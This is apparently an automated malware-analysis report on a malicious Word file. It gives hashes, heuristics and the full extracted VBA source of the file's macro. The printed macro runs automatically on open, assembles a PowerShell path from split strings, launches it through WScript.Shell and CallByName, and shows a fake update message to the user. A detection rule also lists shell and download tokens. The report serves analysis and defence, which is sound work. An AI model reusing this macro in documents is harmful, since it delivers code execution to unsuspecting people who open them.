Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6a6e9027558649b4…

MALICIOUS

Office (OOXML)

17.8 KB Created: 2021-07-08 04:53:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: 9d37994e16a20aadd5f429a2fa444b2c SHA-1: 461e349cd7cad70e6abd4507dfece4242d719853 SHA-256: 6a6e9027558649b4162340909fbc738601d028f4cc20e6d6cdab50f4e695ef26
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros that execute upon opening, leveraging WScript.Shell and CreateObject to launch PowerShell. The AutoOpen macro calls 'Cook' and 'dexit', with 'Cook' using CallByName to execute a command. The 'Retrieve' subroutine constructs the path to 'powershell.exe' and prepares to execute it, although the command argument 'xyz' is empty. The 'dexit' subroutine displays a fake update message to the user. The presence of VBA macros, WScript.Shell usage, and the intent to execute PowerShell strongly suggest a malicious document designed for payload delivery.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set wordupate = CreateObject("WScript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set wordupate = CreateObject("WScript.shell")
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
            VBA$.Interaction.CallByName! m, [y], f, c + t + E + w + E, x
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1172 bytes
SHA-256: 4b945e0c1495ac06b03f8fafba67984f83881db3a39929f6c182f4e87626e118
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Cook
    dexit
End Sub

Sub Retrieve()
    xyz = ""
    c = "C:\Windows\Sys"
    c = c + "tem32\Win"
    c = c + "dowsPowe"
    c = c + "rShel"
    c = c + "l\v1.0\po"
    c = c + "wers"
    t = "hell.exe"
    ret = c + t + " -noexit -comm"
    ret = ret + "and "
    ret = ret + xyz
    f = "wsc"
    f = f + "rip"
    f = f + "t.she"
    f = f + "ll"
    x = 0
    m = c + t
    nop = 1
    Dim wordupdate
    Set wordupate = CreateObject("WScript.shell")
    With wordupate.Run(m, x, nop)
    End With
    Set wordupate = Nothing
End Sub

Sub Cook()
        Set m = Interaction.CreateObject(Z)
        VBA$.Interaction.CallByName! m, [y], f, c + t + E + w + E, x
End Sub


Sub dexit()
    MsgBox ("The Word document has been updated to the latest version.")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: ea3aafcbd4d6650a5f2248d9ec09759272ed28b8721d9e294010db7067d14baf

Open this report in the interactive analyzer, or submit your own file for analysis.